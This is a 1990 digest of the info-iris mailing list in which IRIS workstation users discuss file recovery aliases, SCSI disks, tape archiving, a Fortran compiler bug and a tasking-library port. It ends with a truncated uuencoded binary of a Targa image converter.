Received: from vmb.brl.mil by VMB.BRL.MIL id aa05077; 9 Apr 90 9:54 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa03552; 9 Apr 90 9:05 EDT Received: from adm.brl.mil by VMB.BRL.MIL id aa03454; 9 Apr 90 8:47 EDT Received: from [130.59.1.2] by ADM.BRL.MIL id aa02326; 9 Apr 90 6:34 EDT Received: by chx400.switch.ch (5.57/Ultrix2.4-C) id AA25400; Mon, 9 Apr 90 08:48:52 +0200 Date: 9 Apr 90 8:47 +0100 From: Reinhard Doelz To: info-iris@BRL.MIL MMDF-Warning: Parse error in original version of preceding line at BRL.MIL In-Reply-To: <90097.111002W0L@psuvm.psu.edu> Message-Id: <276:doelz@urz.unibas.ch> Subject: RE: Accidently rm files How to avoid removal of files ? You could use an alias for rm which does an ln to a dumpster as the workspace supposedly does so. All these methods are critical if your disk is close to 100% full. Therefore, we use to run a crontab which does 'empty trash' by purpose once in a while. - Reinhard   Received: from vmb.brl.mil by VMB.BRL.MIL id aa08291; 9 Apr 90 10:56 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa07762; 9 Apr 90 10:45 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa07198; 9 Apr 90 10:30 EDT Received: from [132.246.240.4] by SMOKE.BRL.MIL id aa06082; 9 Apr 90 10:20 EDT Received: from VM.NRC.CA by VM.NRC.CA (IBM VM SMTP R1.2.2MX) with BSMTP id 6673; Mon, 09 Apr 90 10:20:11 EDT Received: from NRCNET.NRC.CA by VM.NRC.CA (Mailer R2.06) with BSMTP id 6671; Mon, 09 Apr 90 10:20:11 EDT Date: Mon, 9 Apr 90 10:08 EST From: Martin Serrer - Systems Analyst Subject: Third party SCSI disk drives To: info-iris@BRL.MIL X-VMS-To: nrcnet::in%"info-iris@brl.mil" Message-ID: <9004091020.aa06082@SMOKE.BRL.MIL> Hello out there in iris land, Picure this... IRIS 4D50/GT with small (170 MByte) ESDI disk and SCSI tape drive ( "there sure is lots of space in the tape drive box for 'stuff'" I say to myself. ) The stuff... 200 MByte 3.5" winchester, ( Maxtor LXT200S, SCSI interface, very inexpensive, about $1300 Cdn.) The operation... make up a new SCSI cable/power cable/mounting bracket. Bolt it all together and what do you get. Success??? Has anyone tried anything like this? I am successfully using these drives in VAXStation and DECStation 3100's and if they work with DEC's SCSI I would think they should work with everyones. Has anyone got any comments on partitioning the disk once it is physically installed? Thank's in advance... Martin +-----------------------------------------------------------------------------+ | Martin Serrer Systems Lab., Bldg. M3, Montreal Rd.| | 613-993-9442 (Bell) National Research Council of Canada,| | serrer@syslab.nrc.ca (BITNET) Ottawa, Ontario, Canada K1A-0R6 | +----------Software Rusts...------------------Rust never Sleeps...------------+   Received: from vmb.brl.mil by VMB.BRL.MIL id aa10008; 9 Apr 90 11:57 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa09411; 9 Apr 90 11:47 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa09356; 9 Apr 90 11:34 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa07533; 9 Apr 90 11:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA10303; Mon, 9 Apr 90 08:07:26 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 9 Apr 90 14:42:38 GMT From: Reinhard Doelz / Biocomputing Basel Organization: University of Basel, Switzerland Subject: Re: Future of 4Sight and X Message-Id: <112@urz.unibas.ch> References: Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL > Speaking for myself, this is very important information, because it > means there is no real incentive to ever master 4Sight. If one is > going to spend a lot of effort learning how to best use the windowing > system, X is the thing to learn. > > Bob Bruccoleri (bruc@dino.squibb.com) > Research Leader, Macromolecular Modeling > Squibb Institute for Medical Research I totally agree - I am just running a VMS VAX using TCP/IP to the IRIS and X is running fine (Product of DEC called UCX Ver. 1.2 giving me the TCP/IP, and VMS 5.3 the DECWindows). Why should I bother about NeWS ? - Reinhard   Received: from vmb.brl.mil by VMB.BRL.MIL id ab10008; 9 Apr 90 11:57 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab09411; 9 Apr 90 11:47 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id ab09356; 9 Apr 90 11:34 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa07587; 9 Apr 90 11:17 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA10409; Mon, 9 Apr 90 08:09:10 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 9 Apr 90 17:20:22 GMT From: Phil Dench Organization: Curtin University of Technology, Maths & Comp Sc Subject: appending to tape archives Message-Id: <127@cutmcvax.OZ> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL All this talk about mag tapes has reminded me to post the following. Does anyone know how to append to existing data on a 1/4" streamer cartridge mag tape? I used to be able to do this under 3.1 (but always suspected it was a bug not a feature) ... fd = check_open( "/dev/tape", O_WRONLY | O_APPEND); ... and any subsequent writes would happily append. Now under 3.2 this just overwrites the first file on the tape. Anything else I try does the same sort of thing. I cant even do a fsf then a write because of (from mtio(1)) ... A tape is normally open for reading and/or writing, but a tape cannot be read and written simultaneously. After a rewind, an unload, or an MTAFILE ioctl, writes may follow reads and vice-versa ... A rewind is no good to me. MTAFILE doesn't work on a 1/4". And am I correct in assuming the unload is just an 'mt offline'? It would be real useful if I could append. Cartridge tapes cost $60 Australian here. I don't want to use one for each little project that I'm archiving. And I dont really want to restore all the old ones on a tape just to write them all back with a new one on the end. Phil Dench --------------------------------------------+---------------------------------- | School of Computer Science, ACSNet: architec@cutmcvax.oz | Curtin University of Technology, UUCP: ...!uunet!munnari!cutmcvax!architec | Kent Street, ARPA: architec%cutmcvax.oz@uunet.UU.NET | Bentley | Western Australia, 6102 --------------------------------------------+----------------------------------   Received: from vmb.brl.mil by VMB.BRL.MIL id aa13053; 9 Apr 90 14:11 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa12649; 9 Apr 90 14:00 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12532; 9 Apr 90 13:48 EDT Received: from aero4.larc.nasa.gov by SMOKE.BRL.MIL id aa10554; 9 Apr 90 13:20 EDT Received: Mon, 9 Apr 90 13:20:43 EST by aero4.larc.nasa.gov (5.52/5.6) Date: Mon, 9 Apr 90 13:20:43 EST From: "Brent L. Bates AAD/TAB MS294 x42854" Message-Id: <9004092020.AA22148@aero4.larc.nasa.gov> To: psuvm!w0l@psuvax1.cs.psu.edu Subject: Re: Accidently rm files Cc: info-iris@BRL.MIL What a lot of places do is to alias rm to mv and move files to a temporary directory. Then at the end of the day or when ever, all files in the temporary directory are removed. This gives a person a chance to recover accidentally removed files. -- Brent L. Bates NASA-Langley Research Center M.S. 361 Hampton, Virginia 23665-5225 (804) 864-2854 E-mail: blbates@aero4.larc.nasa.gov or blbates@aero2.larc.nasa.gov   Received: from vmb.brl.mil by VMB.BRL.MIL id aa13453; 9 Apr 90 14:29 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id ab13053; 9 Apr 90 14:19 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa12977; 9 Apr 90 14:08 EDT Received: from psuvm.psu.edu by SMOKE.BRL.MIL id aa11789; 9 Apr 90 14:01 EDT Received: from PSUVM.BITNET by PSUVM.PSU.EDU (IBM VM SMTP R1.2.2MX) with BSMTP id 2783; Mon, 09 Apr 90 14:05:19 EDT Received: by PSUVM (Mailer R2.03B) id 9549; Mon, 09 Apr 90 14:05:19 EDT Date: Mon, 9 Apr 90 14:05 EDT From: "Bill Lasher (814) 898-6391" Subject: Re: Accidently rm files To: blbates@aero4.larc.nasa.gov Cc: info-iris@BRL.MIL In-Reply-To: blbates AT aero4.larc.nasa.gov -- Mon, 9 Apr 90 13:20:43 EST Message-ID: <9004091401.aa11789@SMOKE.BRL.MIL> Many thanks. Bill   Received: from vmb.brl.mil by VMB.BRL.MIL id aa17618; 9 Apr 90 17:45 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa17451; 9 Apr 90 17:34 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa17396; 9 Apr 90 17:21 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa16691; 9 Apr 90 17:16 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA02197; Mon, 9 Apr 90 14:02:55 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 9 Apr 90 18:07:01 GMT From: Deb Ryan Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Re: Bug in f77? Why does this drop core? Message-Id: <56123@sgi.sgi.com> References: <27681@ut-emx.UUCP> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL In article <27681@ut-emx.UUCP>, russo@chaos.utexas.edu (Thomas Russo) writes: > The 3.2 fortran compiler drops core with a message > > Fatal error in /usr/lib/fcom - core dumped > Signal 139 > Here is the very smallest program we tried which causes the core dump: > > c This is an example of the core-killer program > > parameter(nt=20000) > equivalence(nt,n) > end > I've filed an SCR on this: numbered 9325. Fortran, of course should not core dump on bogus code. Due to timing issues, this bug will probably not get fixed for a while. -Deb deb@sgi.com Deborah Ryan Caruso @ Silicon Graphics   Received: from vmb.brl.mil by VMB.BRL.MIL id aa19286; 9 Apr 90 19:39 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa18658; 9 Apr 90 19:28 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa18627; 9 Apr 90 19:10 EDT Received: from REMOTE.DCCS.UPENN.EDU by SMOKE.BRL.MIL id aa17701; 9 Apr 90 18:58 EDT Return-Path: Received: from A.CHEM.UPENN.EDU by remote.dccs.upenn.edu id AA21177; Mon, 9 Apr 90 18:59:44 -0400 Message-Id: <9004092259.AA21177@remote.dccs.upenn.edu> Date: Mon, 9 Apr 90 19:00 EST From: "YATES, JOHN H." Subject: tape reading utilities To: info-iris@BRL.MIL X-Vms-To: INFIRIS I am looking for unix tape reading programs to read: 1. VAX/VMS save sets. (ability to get list only and extract selected files). 2. DEC Files-11 type tapes. 3. IBM EBCDIC FB tapes. If these things exist, where can I find them? Thanks, John ************************************************************ * John H. Yates , Ph.D. * * Director of the Chemistry Computer Facility This * * Department of Chemistry space * * University of Pennsylvania for * * Philadelphia, PA 19104 rent. * * yates@a.chem.upenn.edu (INTERNET) * * (215)898-4714 * **************************************************************   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21245; 9 Apr 90 22:11 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21194; 9 Apr 90 21:51 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21190; 9 Apr 90 21:43 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa18772; 9 Apr 90 21:33 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA17477; Mon, 9 Apr 90 18:09:16 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 9 Apr 90 19:17:43 GMT From: "Peter A. Buhr" Subject: Multiprocessor Port Message-Id: <36101@watmath.waterloo.edu> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL First, I don't read this newsgroup so please post directly to me and I will summarize any useful information. I am trying to port the uSystem light-weight tasking library (see below) to the SGI machine. A uSystem light-weight task seems to be significantly lighter-weight than those provided through "sproc" on the SGI. For example, a uSystem LWT can be created 34 times faster than one created by "sproc" (3400 usecs vs. 100 usecs). We have successfully ported the uSystem to an SGI machine so that it runs in a single UNIX process simulating concurrency using time-slicing. I have started to extend the SGI port to take advantage of the multiple processors. I use shared UNIX ("sproc") processes as virtual processors and schedule the uSystem LWTs among these virtual processors. I can create the virtual processors easily using "sproc". What I can't seem to do is build a light-weight semaphore. There appears to be no test-and-set/cache-coherent mechanism like on a Sequent Symmetry or Encore. However, I have been told that there are some hardware locks (possibly like a Sequent Balance). Unfortunately, I cannot find any information on these hardware locks. So my question is this: what is the best mechanism on the SGI to build a light-weight semaphore? Having to enter the UNIX kernel to do this would only be considered as a last resort as this would not be considered a light-weight semaphore. Thanks in advance. ======================================================================== The uSystem is a library of C routines that provide light-weight concurrency on uniprocessor and multiprocessor computers running the UNIX operating system. Concurrent operations in the uSystem are explicitly specified and not inferred from existing constructs in C. Users first design algorithms that are inherently concurrent and then explicitly code corresponding concurrent operations using the routines in the uSystem. The uSystem uses a shared-memory model of concurrency. This shared-memory is populated by subroutines, coroutines and concurrently executing light-weight processes, called tasks. Coroutine mechanisms are provided to create coroutines within a task and to communicate information among the coroutines. Concurrency mechanisms are provided to create tasks, to synchronize execution of the tasks, and to communicate information between synchronized tasks, for example, P&V and send/receive/reply. When shared memory exists between UNIX processes, UNIX processes are used as virtual processors and task execution is uniformly distributed across them. A clustering mechanism exists to group virtual processors and tasks together, restricting execution of these tasks to only these virtual processors. Partitioning into clusters must be used with care as it has the potential to inhibit concurrency when used indiscriminately. However, in several situations it is essential, for example, concurrent UNIX I/O operations are possible through the clustering mechanism, when shared memory exists between UNIX processes. Currently, the uniprocessor form of the uSystem is supported on the following computers: DEC Vax, Apollo 68K, Sun3 (68K), MIPS, and Sequent Symmetry. There is also a multiprocessor form for the Sequent Symmetry S27. It requires GNU C 1.35 for all computers except the MIPS, which requires GNU C 1.36. The uSystem will NOT compile using other compilers. As well, on the Sequent gcc must be installed with the Sequent assembler as the GNU assembler does not handle the assembler directives generated from gcc when the -fshared-data flag is used. Currently, under development are tools for concurrent exception handle and monitoring tools. The uMonitor preprocessor is a C preprocessor that provides monitors for use in control and communication among concurrent tasks created through the uSystem. The uMonitor preprocessor transforms new programming language statements pertaining to monitors into C language statements and calls to uSystem routines. 10 different kinds of monitors are provided. The uSystem can be obtained by anonymous ftp from the following location: watmsg.waterloo.edu (129.97.129.9) pub/uSystem/uSystem.tar.Z The distribution file is in compressed tar format. Execute the following commands to unpack the source: uncompress uSystem.tar.Z tar -xf uSystem.tar The README file contains all the installation instructions. Good luck and happy concurrency.   Received: from vmb.brl.mil by VMB.BRL.MIL id aa21962; 9 Apr 90 23:32 EDT Received: from vmb.brl.mil by VMB.BRL.MIL id aa21854; 9 Apr 90 23:21 EDT Received: from smoke.brl.mil by VMB.BRL.MIL id aa21832; 9 Apr 90 23:09 EDT Received: from ucbvax.Berkeley.EDU by SMOKE.BRL.MIL id aa19293; 9 Apr 90 22:46 EDT Received: by ucbvax.Berkeley.EDU (5.61/1.41) id AA23222; Mon, 9 Apr 90 19:37:14 -0700 Received: from USENET by ucbvax.Berkeley.EDU with netnews for info-iris@brl.mil (info-iris@brl.mil) (contact usenet@ucbvax.Berkeley.EDU if you have questions) Date: 10 Apr 90 02:16:54 GMT From: Paul Haeberli Organization: Silicon Graphics, Inc., Mountain View, CA Subject: Improved version of fromtarga. Message-Id: <56206@sgi.sgi.com> Sender: info-iris-request@BRL.MIL To: info-iris@BRL.MIL The following program "fromtarga" converts 15, 16, 24 or 32 bit targa image files into IRIS image file format. This is a improved version to the program in /usr/people/gifts/iris tools/imgtools. The old version only handled 32 bit images. To get the program, save this messsage and then do uudecode < message This will create the executable fromtarga. paul h paul@sgi.com begin 777 fromtarga M`6``!R8A0"H````````````X`````\"$,$!/CKX2`=`P0$T0``"`ACX2`=(^%@'B/AH!P#!``?``` M```,$!.``$`@(0````T#X``(`````">]``@#X``(`"#X(0/@``@````````` M`">]_^@H@0`#K[\`%!`@``BOI0`]`!@# MX``(`````">]_Y"OL``HK[\`1*^E`'2OM@!`K[0`.*^U`#P`@(`AK[(`,*^S M`#2OL0`L`@`@(0_@!$PGA8`0%$``"0!`L"$\!!``/`40`"2E`"PDA`:P#^`$ M5`(`,"$,$!.`)`0``0P0`58"P"`A,%``_PP0`58"P"`A#!`!5@+`("$P3@#_ M)`$``A'!``@`````/`00`#P%$``DI0!4#^`$5"2$!K`,$!.`)`0``0P0`5X" MP"`A#!`!7@+`("$``I0``!*4`PP0`58"P"`A,%$`_PP0`5X"P"`A#!`!7@+` M("$,$`%>`L`@(:>B`$H,$`%>`L`@(:>B`$P,$`%6`L`@(:.B`$X,$`%>`L`@ M(3!5`/\`%:D",K4``Q(```@``)@A#!`!5@+`("$FC`!P``G(``&X8(8^_`!0``QP```,<`P!@$"$#X``()[T`(">]_^"O MI``@K[\`%(^D`"`/X`0T```````"&@```QP```,<`X^D`"`/X`0TIZ,`'(>C M`!R/OP`4`&(8(0`#'````QP#`&`0(0/@``@GO0`@)[W_P*^T`""OL@`8K[,` M'*^Q`!0`P(@A`."8(0"@D"$`@*`A$```;*^_`"2OL``LC[``4#P$$`$DA,[P M)`4``0*`."$/X`1:`!`P@#P"$`$"`"`A)$+.\!"``!$F$/__D$X``"1"``&F M+@``D$\``"1"``&F3P``D%@``21"``$"`"`A)C$``B92``(D0@`!)G,``B80 M__\4@/_QIGC__H^P`"P0``!7C[\`)*^P`"R/L`!0/`00`0`0,(`DA,[P)`4` M`0*`."$/X`1:`-`P(SP"$`$"`"`A)$+.\!"``!`F$/__D%D``"1"``&F.0`` MD$@``"1"``&F2```D$D```(`("$F,0`")E(``B1"``$F/OP`DK[``+(^P`%```````@`@(1"``",F$/__#!`!<@*` M("$``AP```,<`P`#4H,Q2P`?``MB``&+8",D`0`?`8$`&@`#<4,QSP`?``_" M``,/P",P:``?``A*``$H2","`"`A)E(``B8Q``(F]`!@#X``(`````"C!``@4 M(`!O`,`0(82"````````!$$`!"A!`0`0```(I*```"A!`0`4(``$`$`8(1`` M``(D`P#_`$`8(:2C``"$@@`"``````1!``0H00$`$```"*2@``(H00$`%"`` M!`!`&"$0```")`,`_P!`&"&DHP`"A((`!``````$00`$*$$!`!````BDH``$ M*$$!`!0@``0`0!@A$````B0#`/\`0!@AI*,`!(2"``8`````!$$`!"A!`0`0 M```(I*``!BA!`0`4(``$`$`8(1````(D`P#_`$`8(:2C``:$@@`(``````1! M``0H00$`$```"*2@``@H00$`%"``!`!`&"$0```")`,`_P!`&"&DHP`(A((` M"@`````$00`$*$$!`!````BDH``**$$!`!0@``0`0!@A$````B0#`/\`0!@A MI*,`"H2"``P`````!$$`!"A!`0`0```(I*``#"A!`0`4(``$`$`8(1````(D M`P#_`$`8(:2C``R$@@`.``````1!``0H00$`$```"*2@``XH00$`%"``!`!` M&"$0```")`,`_P!`&"&DHP`.),;_^"C!``@DA``0$"#_E"2E`!``P!`A$$`` M$R3&__^$@@````````1!``0H00$`$```"*2@```H00$`%"``!`!`&"$0```" M)`,`_P!`&"&DHP```,`0(22$``(DI0`"%$#_[R3&__\#X``(`````">]_^@D M`0`!%,$`!:^_`!0,$`5*`.`P(1```%&/OP`4)`'__Q3!``8HX0`(#!`%@`#@ M,"$0``!*C[\`%"CA``@4(``Y`.`0(82O``"$C@```,\`&82(``*$C``$).?_ M^"CA``@DA``0)*4`$```P!(!V,@AI)G_\(2I__*$F/_V`,D`&0``4!(!"E@A MI(O_\H2M__2$BO_X`,T`&0``>!(!CW`AI([_](2Y__:$C__Z`-D`&0``2!(# M"4`AI(C_]H2K__B$B?_\`,L`&0``:!(!36`AI(S_^(2N__J$C?_^`,X`&0`` MR!(!^<`AI)C_^H2H__P``````,@`&0``6!(!*U`AI(K__(2L__X``````,P` M&0``!*DKP``%,```@``````!P`- M)`'__Q3!``0\`8``%0$``@``````!@`-`P8`&H2X``P4P``"```````'``TD M`?__%,$`!#P!@``500`"```````&``TDY__X%,```@``````!P`-)`'__Q3! M``0\`8``%8$``@``````!@`-``#($J2Y``(4P``"```````'``TD`?__%,$` M!#P!@``5P0`"```````&``T!!@`:A*@`#A3```(```````<`#20!__\4P0`$ M/`&``!"$`"5"```]Y``,XR",!25`A``I0@``9R(`![G@C M`?E`(0%)4"$!"E@A``MB`J3L``"4N``"E(T``I3)``(`&'B``?AX(0`-<(`` M#WC``"$#*<@A`?E`(0`(4@*DZ@`$ ME+@`!I2+``:4R0`&`!AH@`&X:"$`"V"```UHP`&+8"$`"7B```QA``&X:",! MZ7@A``]X@``-:(`!BV`C`8UP(0'I>"$!S\@A`!E"`J3H``:4N``(E(H`")3) M``@`&&"``9A@(0`*6(``#&#``6I8(0`)<(``"UD``9A@(P')<"$`#G"```Q@ M@`%J6",!;&@A`"$`#\H"I/D`")2X``J4B``*E,D`"@`86(`!>%@A M``A0@``+6,`!2%`A``EH@``*40`!>%@C`:EH(0`-:(``"UB``4A0(P%+8"$! MJ6@A`8UP(0`.>@*D[P`*E+@`#)29``R4R0`,`!A0@`%84"$`&4"```I0P`$9 M0"$`"6"```A!``%84",!B6`A``Q@@``*4(`!&4`C`0I8(0&)8"$!;&@A``UR M`J3N``R4N``.E(\`#I3)``X`&$"``1A`(0`/R(``"$#``R_((0`)6(``&(``&YX(0`)4(``#WD``SC((P%)4"$`"E"``!G( M@`'N>",!^4`A`4E0(0$*6"$`"V("`&`0(:3L```DA``")*4``B3&``(DYP`" M%$#_YB1C__\#X``(`````"C!``@4(``G`,`0(82.``"$KP``A)D``@'/P"&D MF```A*@``H2*``0#*$@AI(D``H2K``2$C0`&`4M@(:2,``2$K@`&A)@`"`&N M>"&DCP`&A+D`"(2)``H#&4`AI(@`"(2J``J$C``,`2I8(:2+``J$K0`,A(\` M#@&-<"&DC@`,A+@`#B3&__@HP0`(`?C((:29``XDA``0$"#_W"2E`!``P!`A M$$``"B3&__^$B```A*D```#`$"$!"5`AI(H``"3&__\DI0`"%$#_^"2$``(# MX``(`````"C!``@4(``G`,`0(82.``"$KP``A)D``@'/P".DF```A*@``H2* M``0#*$@CI(D``H2K``2$C0`&`4M@(Z2,``2$K@`&A)@`"`&N>".DCP`&A+D` M"(2)``H#&4`CI(@`"(2J``J$C``,`2I8(Z2+``J$K0`,A(\`#@&-<".DC@`, MA+@`#B3&__@HP0`(`?C((Z29``XDA``0$"#_W"2E`!``P!`A$$``"B3&__^$ MB```A*D```#`$"$!"5`CI(H``"3&__\DI0`"%$#_^"2$``(#X``(`````"3" M__\$00`"`$`((20A``<``1##)$(``0"`."$80``X```8(20&`/^0Y```).<` M`3".`(`1P``#`````!````*DH```I*8``#"/`$`1X``#`````!````*DH``" MI*8``C"8`"`3```#`````!````*DH``$I*8`!#"9`!`3(``#`````!````*D MH``&I*8`!C"(``@1```#`````!````*DH``(I*8`"#")``01(``#`````!`` M``*DH``*I*8`"C"*``(10``#`````!````*DH``,I*8`##"+``$18``#```` M`!````*DH``.I*8`#B1C``$`8@@J%"#_RR2E`!`#X``(`````"3"__\$00`" M`$`((20A``<``1##)$(``0"`."$80``W```8(83N`````"`A*<$`@!`@``(` M````)`0`@(3O``(`````*>$`@!`@``(`````-(0`0(3X``0`````*P$`@!`@ M``(`````-(0`((3Y``8`````*R$`@!`@``(`````-(0`$(3H``@`````*0$` M@!`@``(`````-(0`"(3I``H`````*2$`@!`@``(`````-(0`!(3J``P````` M*4$`@!`@``(`````-(0``H3K``X`````*6$`@!`@``(`````-(0``21C``$` M8@@J).<`$*"D```4(/_+)*4``0/@``@`````CXB`8">]_^BOOP`4`(`X(14` M`!L`H%`AKZ<`&"0$`0`/X`2"KZH`'(^G`!B/J@`<`$!`(0``*"$`0$@A)`8` M""0+`0```"`A```8(20.``$`;G@$`*_`)!,```(`!"!`-(0``21C``$49O_Y M)`X``22E``&A)```%*O_\B4I``$I00`(%"``)@%`$"&0^0``D.X``0$98"&1 MC0```0YX(:#M``"1^```D/D``J#X``$!&6`AD8T``)#N``.@[0`"`0YX(9'X M``"0^0`$H/@``P$98"&1C0``D.X`!:#M``0!#G@AD?@``)#Y``:@^``%`1E@ M(9&-``"0[@`'H.T`!@$.>"&1^```)4K_^"E!``@DYP`($"#_W:#X__\!0!`A M%$```R5*__\0```*KXB`8)#Y```!0!`A`1E@(9&-```DYP`!)4K__Q1`__F@ M[?__KXB`8(^_`!0GO0`8`^``"```````!7!`!*$``@"@""$D(0`!``$H0P". M&"$`H#`A`(`0(21C__X0P``*)*7__X1$``"$;P```*`P(:1/```D0@`")&/_ M_B2E__\4P/_XI&0``@/@``@`````*,$`"!`@``4\`P`!/`,``1```#`T8P$! M/`,``31C`0&4C@``),;_^`'#`!DHP0`()*4`("2$`!```'@2K*__X)28__(` M`````P,`&0``R!*LN?_DE(C_]``````!`P`9``!($JRI_^B4BO_V``````%# M`!D``%@2K*O_[)2,__@``````8,`&0``:!*LK?_PE([_^@`````!PP`9``!X M$JRO__24F/_\``````,#`!D``,@2K+G_^)2(__X``````0,`&0``2!*LJ?_\ M$"#_U```````P!`A$$``"R3&__^4B@```,`0(0%#`!DDQO__)(0``B2E``0` M`%@2K*O__!1`__<``````^``"`````"/HP`0`````"AA``@4(`!)`&`0(92O M``"4C@``E,@````/P@`!V,@E``A,``,I4"6LZ@``E*P``I3.``*4BP`"``QJ M```.Q``!;7@E`?A`):SH``24J0`$E,L`!)29``0`"5(```ML``,J8"4!C7`E MK.X`")2X``:4V0`&E(\`!@`80@``&50``>A()0$J6"6LZP`,E*T`")3/``B4 MC``(``UR```/1``!CL`E`PC():SY`!"4J@`*E,P`"I2)``H`"EH```QT``$K M:"4!KG@EK.\`%)2H``R4R0`,E)@`#``(R@``"5P``QE0)0%+8"6L[``8E*X` M#I38``Z4C0`.``YZ`"1C__@`&,P``:]`)0$92"4H80`(K.D`'"3G`"`DA``0 M)*4`$!`@_[HDQ@`0`&`0(1!``!`D8___E*L``)2*``"4S0````MB``%,<"4` M#7P``<_`)0!@$"$D8___K/@``"3&``(DI0`")(0``A1`__(DYP`$`^``"``` M``"/HP`4`````"AA``@0(``%CZ(`$(^B`!`0``!D`&!`(8^B`!``````E*\` M`)2.``"4R0``E.P````/P@`!V,@E``E4``,J6"4`#&X``6UX):Q/``"4N``" ME,H``I2.``*4[0`"`!A*```*9``!R<@E`RQ8)0`-?@`!;\`EK%@`!)2I``24 MS``$E(X`!)3O``0`"5(```QL``'*R"4#+5@E``_&``%X2"6L20`(E*H`!I3- M``:4C@`&E/@`!@`*8@``#7P```C%L`/^D MZ@``I0P``(R"``0H80`(,$T`_P`"<@(QSP#_I*T``@`"Q`(S&0#_I,\``@`" M5@(Q2P#_I/D``J4+``*,@@`()(0`(#!,`/\``FH",:X`_Z2L``0``GP",?@` M_Z3.``0``LX",RH`_Z3X``2E"@`$C(+_["2E`!`P2P#_``)B`C&-`/^DJ__V M``)T`C'/`/^DS0`&``+&`C,9`/^D[P`&I1D`!HR"__`DQ@`0,$H`_P`"6@(Q M;`#_I*K_^``";`(QK@#_I,S_^``"?@(Q^`#_I.X`"*48``B,@O_T).<`$#!9 M`/\``E(",4L`_Z2Y__H``F0",8T`_Z3+__H``G8",<\`_Z3M__JE#P`*C(+_ M^"4(`!`P6`#_``+*`C,J`/^DN/_\``)<`C%L`/^DRO_\``)N`C&N`/^D[/_\ MI0[__(R"__P`````,$\`_P`"P@(S&0#_I*___@`"5`(Q2P#_I-G__@`"9@(Q MC0#_I.O__A`@_YBE#?_^`&!((1$@`!4D8___C((```!@2"$P3@#_``)Z`C'X M`/^DK@````+,`C,J`/^DV`````)>`C%L`/^DZ@``I0P``"2$``0DI0`"),8` M`B3G``(E"``"%2#_[21C__\#X``(`````(R#`!"4@@`&)`$`_Q!A`)P````` M$&``FBA!``@4(`""`$`@(82N``"$N0`"``YZ``'N>",!XP`:`!E"``$90".$ MJ@`$A*T`!@`*6@`!:E@C``UR``'-<",48``"```````'``TD`?__%&$`!#P! M@``5X0`"```````&``TD0O_X%&```@``````!P`-)`'__Q1A``0\`8``%0$` M`@``````!@`-``#`$J2X``"$N``(`0,`&@`8R@`#.,@C%&```@``````!P`- M)`'__Q1A``0\`8``%6$``@``````!@`-)*4`$!1@``(```````<`#20!__\4 M80`$/`&``!7!``(```````8`#0``2!*DJ?_RA*G_^@%C`!H`"5(``4E0(Q1@ M``(```````<`#20!__\480`$/`&``!!*D MK__VA*___@,C`!H`#\(``P_`(Q1@``(```````<`#20!__\480`$/`&``!] M_]BOL``@`("`(:^_`"2OI0`LKZ8`,(^#@""6`@`&`````!!B`!P`````$&`` M#`````"/A(!D#^`$@`````"/A(!H#^`$@`````"/A(!L#^`$@`````"6`@`& M``````_@!((``B!`KX*`9)8$``8/X`2"``0@0*^"@&B6!``&#^`$@@`$($"O M@H!LE@,`!@````"O@X`@E@X`"@`````MP0`#$"``"`````"/I0`LCZ8`,`(` M("$,$`W:```X(1```!B/OP`DCX6`9(^F`#`"`"`A#!`-V@``."&/A8!HCZ8` M,`(`("$,$`W:)`<``8^%@&R/I@`P`@`@(0P0#=HD!P`"E@\`!H^$@&2/A8!H MCX:`;(^G`"P,$`1^KZ\`$(^_`"2/L``@`^``"">]`"@GO?_HCZX`**^_`!0Q MSP`!`(`8(0"@0"$1X``-`,!((91E``:OJ0`@KZ@`'*^G`"2OHP`8#!`&D@$` M("&/HP`8CZ<`)(^H`!R/J0`@`````(^X`"@`````,QD``A,@``H`8"`AE&H` M"`!@("$!23`C),;__PP0#+0!`"@A$```!H^_`!0`8"`A`0`H(0P0#+0!(#`A MC[\`%">]`!@#X``(`````">]_^B/K@`HK[\`%#'/``*OI0`<$>``"0#`&"&4 MF``(CZ4`'`,#,",DQO__#!`-VJ^D`!@0```&C[D`*(^E`!P`8#`A#!`-VJ^D 